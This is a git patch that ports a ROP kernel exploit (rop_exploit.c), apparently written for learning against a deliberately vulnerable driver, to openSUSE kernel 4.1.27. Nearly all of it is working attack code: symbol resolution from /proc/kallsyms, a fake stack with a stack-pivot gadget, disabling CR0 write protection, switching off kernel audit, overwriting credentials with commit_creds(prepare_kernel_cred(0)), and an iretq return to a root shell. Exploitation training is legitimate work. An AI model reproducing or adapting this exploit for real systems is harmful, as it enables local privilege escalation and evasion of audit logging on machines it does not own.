From 421f91557c4801f264f786a84e71ac8df53b8d8e Mon Sep 17 00:00:00 2001 From: Andrey Arapov Date: Sun, 9 Oct 2016 10:33:03 +0200 Subject: [PATCH] openSUSE 4.1.27-27-default --- rop_exploit.c | 366 +++++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 332 insertions(+), 34 deletions(-) diff --git a/rop_exploit.c b/rop_exploit.c index 51e10fe..dffd756 100644 --- a/rop_exploit.c +++ b/rop_exploit.c @@ -1,10 +1,19 @@ -/** +/** * ROP exploit for drv.c kernel module * + * Tested in: Linux 4.1.27-27-default - openSUSE Leap 42.1 (x86_64) + * Running in: qemu 2.5.0 / i7-4500U + * + * Compile: * gcc rop_exploit.c -O2 -o rop_exploit * - * Email: vnik@cyseclabs.com - * Vitaly Nikolenko + * Email: andrey.arapov@nixaid.com + * Andrey Arapov + * + * Based on Vitaly Nikolenko's work: + * https://github.com/vnik5287/kernel_rop/ + * + * Additional thanks to spender! */ #define _GNU_SOURCE @@ -18,21 +27,58 @@ #include #include #include +#include #include "drv.h" #define DEVICE_PATH "/dev/vulndrv" +#define EFL_RESERVED1 (1 << 1) +#define EFL_PARITY (1 << 2) +#define EFL_ZEROFLAG (1 << 6) +#define EFL_INTERRUPTENABLE (1 << 9) +#define EFL_IOPL3 ((1 << 12) | (1 << 13)) + +#define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE) +/* for insta-iopl 3, for whatever reason! + #define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE | EFL_IOPL3) +*/ + unsigned long user_cs; unsigned long user_ss; unsigned long user_rflags; -static void save_state() { - asm( - "movq %%cs, %0\n" - "movq %%ss, %1\n" +typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); +typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); +_commit_creds commit_creds; +_prepare_kernel_cred prepare_kernel_cred; + +int *audit_enabled; +char *exit_stack; + +static void get_segment_descriptors(void) +{ +#ifdef __x86_64__ + asm volatile ( + "movq %%cs, %0 ;" + "movq %%ss, %1 ;" "pushfq\n" "popq %2\n" - : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" ); + : "=r" (user_cs), + "=r" (user_ss), + "=r" (user_rflags) + : : "memory" + ); +#else + asm volatile ( + "push %%cs ;" + "pop %0 ;" + "push %%ss ;" + "pop %1 ;" + : "=r" (user_cs), + "=r" (user_ss) + : : "memory" + ); +#endif } void shell(void) { @@ -42,6 +88,180 @@ void shell(void) { exit(0); } +int __attribute__((regparm(3))) get_root() +{ + commit_creds(prepare_kernel_cred(0)); + + return -1; +} + +/* greets to qaaz */ +static void exit_kernel(void) +{ +#ifdef __x86_64__ + asm volatile ( + "swapgs ;" + "movq %0, 0x20(%%rsp) ;" + "movq %1, 0x18(%%rsp) ;" + "movq %2, 0x10(%%rsp) ;" + "movq %3, 0x08(%%rsp) ;" + "movq %4, 0x00(%%rsp) ;" + "iretq" + : : "r" (user_ss), + "r" (exit_stack + (1024 * 1024) - 0x80), + "r" (user_rflags), + // "i" (USER_EFLAGS), + "r" (user_cs), + "r" (shell) + ); +#else + asm volatile ( + "movl %0, 0x10(%%esp) ;" + "movl %1, 0x0c(%%esp) ;" + "movl %2, 0x08(%%esp) ;" + "movl %3, 0x04(%%esp) ;" + "movl %4, 0x00(%%esp) ;" + "iret" + : : "r" (user_ss), + "r" (exit_stack + (1024 * 1024) - 0x80), + "r" (user_rflags), + // "i" (USER_EFLAGS), + "r" (user_cs), + "r" (shell) + ); +#endif +} + + +unsigned long inline get_cr0(void) +{ + unsigned long _cr0; + + asm volatile ( + "mov %%cr0, %0" + : "=r" (_cr0) + ); + + return _cr0; +} + +void inline set_cr0(unsigned long _cr0) +{ + asm volatile ( + "mov %0, %%cr0" + : + : "r" (_cr0) + ); +} + +int inline turn_off_wp(void) +{ + unsigned long _cr0; + + _cr0 = get_cr0(); + _cr0 &= ~0x10000; + set_cr0(_cr0); + + return 1; +} + +void inline turn_on_wp(void) +{ + unsigned long _cr0; + + _cr0 = get_cr0(); + _cr0 |= 0x10000; + set_cr0(_cr0); +} + +int __attribute__((regparm(3))) disable_audit() +{ + if (audit_enabled) + *audit_enabled = 0; + + return; +} + +int __attribute__((regparm(3))) enable_audit() +{ + if (!audit_enabled == 1) + *audit_enabled = 1; + + return; +} + +static unsigned long get_kernel_sym(char *name) +{ + FILE *f; + unsigned long addr; + char dummy; + char sname[512]; + struct utsname ver; + int ret; + int rep = 0; + int oldstyle = 0; + + f = fopen("/proc/kallsyms", "r"); + if (f == NULL) { + f = fopen("/proc/ksyms", "r"); + if (f == NULL) + goto fallback; + oldstyle = 1; + } + +repeat: + ret = 0; + while(ret != EOF) { + if (!oldstyle) + ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); + else { + ret = fscanf(f, "%p %s\n", (void **)&addr, sname); + if (ret == 2) { + char *p; + if (strstr(sname, "_O/") || strstr(sname, "_S.")) + continue; + p = strrchr(sname, '_'); + if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { + p = p - 4; + while (p > (char *)sname && *(p - 1) == '_') + p--; + *p = '\0'; + } + } + } + if (ret == 0) { + fscanf(f, "%s\n", sname); + continue; + } + if (!strcmp(name, sname)) { + fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : ""); + fclose(f); + return addr; + } + } + + fclose(f); + if (rep) + return 0; +fallback: + /* didn't find the symbol, let's retry with the System.map + dedicated to the pointlessness of Russell Coker's SELinux + test machine (why does he keep upgrading the kernel if + "all necessary security can be provided by SE Linux"?) + */ + uname(&ver); + if (strncmp(ver.release, "2.6", 3)) + oldstyle = 1; + sprintf(sname, "/boot/System.map-%s", ver.release); + f = fopen(sname, "r"); + if (f == NULL) + return 0; + rep = 1; + goto repeat; +} + + + void usage(char *bin_name) { fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name); } @@ -51,51 +271,123 @@ int main(int argc, char *argv[]) int fd; struct drv_req req; void *mapped, *temp_stack; - unsigned long base_addr, stack_addr, mmap_addr, *fake_stack; + unsigned long base_addr, stack_addr, mmap_addr, *fake_stack; if (argc != 3) { usage(argv[0]); return -1; } + audit_enabled = (int *)get_kernel_sym("audit_enabled"); + + // commit_creds = (_commit_creds) 0xffffffff810887a0UL; + // prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff81088a80UL; + commit_creds = (_commit_creds)get_kernel_sym("commit_creds"); + prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred"); + + if (commit_creds == NULL || prepare_kernel_cred == NULL) + return -1; + + + /* + * req.offset + * when xchg_esp_eax_ret_N_rop_gadget % 8 == 0, + * req.offset = ( (1 << 64) + ((xchg_esp_eax_ret_N_rop_gadget - base_addr)/8) ) + */ req.offset = strtoul(argv[1], NULL, 10); - base_addr = strtoul(argv[2], NULL, 16); + base_addr = strtoul(argv[2], NULL, 16); // address of ops driver structure + + printf("array base address = 0x%lx\n", base_addr); + + stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff; + fprintf(stdout, "stack address = 0x%lx\n", stack_addr); - printf("array base address = 0x%lx\n", base_addr); - stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff; - fprintf(stdout, "stack address = 0x%lx\n", stack_addr); + /* + * allocate space in memory where the fake_stack will be stored. + */ + mmap_addr = stack_addr & 0xffff0000; // clear last 4 hex's + mapped = mmap((void*)mmap_addr, 0x20000, + PROT_EXEC|PROT_READ|PROT_WRITE, + MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); + assert(mapped == (void*)mmap_addr); - mmap_addr = stack_addr & 0xffff0000; - assert((mapped = mmap((void*)mmap_addr, 0x20000, 7, 0x32, 0, 0)) == (void*)mmap_addr); - assert((temp_stack = mmap((void*)0x30000000, 0x10000000, 7, 0x32, 0, 0)) == (void*)0x30000000); + temp_stack = mmap((void*)0x30000000, 0x10000000, + PROT_EXEC|PROT_READ|PROT_WRITE, + MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); + assert(temp_stack == (void*)0x30000000); - save_state(); + // save state + get_segment_descriptors(); + + exit_stack = (char *)calloc(1, 1024 * 1024); + if (exit_stack == NULL) { + fprintf(stdout, "Unable to alloc exit_stack\n"); + exit(1); + } + + // fake_stack begins here fake_stack = (unsigned long *)(stack_addr); - *fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */ + *fake_stack ++= 0xffffffff81004e8fUL; // nop ; ret + + /* + * Making sure that in reality 0x314c is 0x314c: + * $ grep 0x14ff $(uname -r).gadgets + * 0xffffffff81034898 : xchg eax, esp ; ret 0x314c + * + * $ sudo gdb /boot/vmlinuz-$(uname -r) /proc/kcore + * (gdb) x/2i 0xffffffff81034898 + * 0xffffffff81034898: xchg %eax,%esp + * 0xffffffff81034899: retq $0x314c + * + */ - fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8); + // Update fake_stack's pointer + fake_stack = (unsigned long *)(stack_addr + 0x314c + 8); - *fake_stack ++= 0x0UL; /* NULL */ - *fake_stack ++= 0xffffffff81095430UL; /* prepare_kernel_cred() */ + /* + * To switch our process's owner to root, it is enough to execute: + * commit_creds(prepare_kernel_cred(0)) syscalls + * rdx(rax(0)) + * + * Not sure why, but it fails when using bare ROP, + * so I will use a function pointer. + */ + *fake_stack ++= (unsigned long)turn_off_wp; + *fake_stack ++= (unsigned long)disable_audit; + *fake_stack ++= (unsigned long)get_root; - *fake_stack ++= 0xffffffff810dc796UL; /* pop %rdx; ret */ - //*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */ - *fake_stack ++= 0xffffffff81095196UL; // commit_creds() + 2 instructions - *fake_stack ++= 0xffffffff81036b70UL; /* mov %rax, %rdi; call %rdx */ + // *fake_stack ++= 0xffffffff81000a9bUL; // pop %rdi; ret + // *fake_stack ++= 0x0UL; // rdi is NULL + // *fake_stack ++= 0xffffffff81088a80UL; // prepare_kernel_cred() and $rax points to cred struct - *fake_stack ++= 0xffffffff81052804UL; // swapgs ; pop rbp ; ret - *fake_stack ++= 0xdeadbeefUL; // dummy placeholder + // *fake_stack ++= 0xffffffff81013926UL; // pop %rdx; ret + // //// *fake_stack ++= 0xffffffff810887a0UL; // commit_creds() + // // *fake_stack ++= 0xffffffff810887a5UL; // commit_creds() + 1 instruction + // *fake_stack ++= 0xffffffff81004e8fUL; // nop ; ret - *fake_stack ++= 0xffffffff81053056UL; /* iretq */ - *fake_stack ++= (unsigned long)shell; /* spawn a shell */ - *fake_stack ++= user_cs; /* saved CS */ - *fake_stack ++= user_rflags; /* saved EFLAGS */ - *fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */ - *fake_stack ++= user_ss; /* saved SS */ + // *fake_stack ++= 0xffffffff810fdf41UL; // mov rdi, rax; call rdx => calls commit_creds(prepare_kernel_cred(0)) + *fake_stack ++= (unsigned long)turn_on_wp; + // *fake_stack ++= (unsigned long)enable_audit; + + /* + * safely return to user-space from the kernel-space + * you can use exit_kernel function or a bare ROP available below. + */ + // *fake_stack ++= (void *)&exit_kernel; + *fake_stack ++= (unsigned long)exit_kernel; + + // safely return to user-space from the kernel-space + // *fake_stack ++= 0xffffffff8104dc20UL; // swapgs ; ret + + // *fake_stack ++= 0xffffffff816667e7UL; // iretq + // *fake_stack ++= (unsigned long)shell; // spawn a shell + // *fake_stack ++= user_cs; // saved CS + // *fake_stack ++= user_rflags; // saved EFLAGS + // *fake_stack ++= (unsigned long)(temp_stack+0x5000000); // mmaped stack region in user space + // *fake_stack ++= user_ss; // saved SS - //map = mmap((void *)..., ..., 3, 0x32, 0, 0); fd = open(DEVICE_PATH, O_RDONLY); @@ -103,7 +395,13 @@ int main(int argc, char *argv[]) perror("open"); } + /* + * trigger the vulnerable Linux kernel driver now, + * pointing to our fake_stack + */ ioctl(fd, 0, &req); return 0; } + +// vim: set list noexpandtab tabstop=4 shiftwidth=4 softtabstop=4